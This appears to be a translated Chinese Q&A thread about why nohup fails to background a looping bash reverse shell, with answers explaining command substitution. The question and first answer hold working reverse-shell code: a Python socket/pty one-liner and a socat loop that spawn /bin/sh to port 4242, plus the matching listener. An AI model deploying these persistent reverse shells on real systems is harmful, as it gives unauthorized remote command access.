反向 Shell Bash 解析

反向 Shell Bash 解析

我正在尝试编写一个小型 bash 反向 shell,但不幸的是我的参数无法正确解析。具体来说,当 while 循环按预期执行时, nohup 命令将被忽略。为什么会这样?

nohup "$(while :; do python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'; sleep 5; done)" >/dev/null 2>&1 &

答案1

socat如果您不将所有内容都放在一行中,则使用 会更容易,并且也更容易阅读:

nohup sh -c '
  while true; do
    socat tcp:localhost:4242 exec:/bin/sh,pty,stderr,setsid,ctty
    sleep 5
  done'

跑步:

socat tcp-listen:4242,reuseaddr -,raw,echo=0

在另一个终端中应在 5 秒内显示 shell 提示符。

你的nohup "$(while...)"没有意义,因为它意味着要求nohup执行其名称/路径是该无限循环的输出的命令,但仅在 while 循环返回之后。

答案2

nohup将运行结果你执行中的代码$( … )

让我解释...

考虑这种情况:

a=$(date)

date命令执行并生成诸如Thu, 25 Jan 2024 23:20:48*1 之类的输出。该文本被插入到该行中,有效地导致:

a='Thu, 25 Jan 2024 23:20:48'

然后执行分配。

现在考虑一下:

a=$(echo hello; sleep 300; echo world)

执行里面的命令$( … ),产生结果hello {newline} world,但需要五分钟时间。这段时间任务还没有开始。最后我们得到了这条线的等价物

a='hello
world'

并且可以执行分配。

现在让我们将其应用到您的情况中。

nohup "$(while :; do python3 …; done)" >/dev/null 2>&1

首先$( … )执行里面的代码。不幸的是它永远不会结束。如果事情就此结束的话结果然后运行代码的信息将被传递到nohup.但由于它永远不会结束,因此nohup不会被执行。

试试这个:

nohup sh -c "while :; do python3 'import…'; done" >/dev/null 2>&1 &

请注意,Python 代码中使用的双引号必须进行转义,以便\"外壳 ( sh) 不会将它们与起始".


1* 实际上,date返回一个以换行符结尾的值。但是 shell 在插值时喜欢shbash删除尾随换行符,因为这(通常)是预期的

相关内容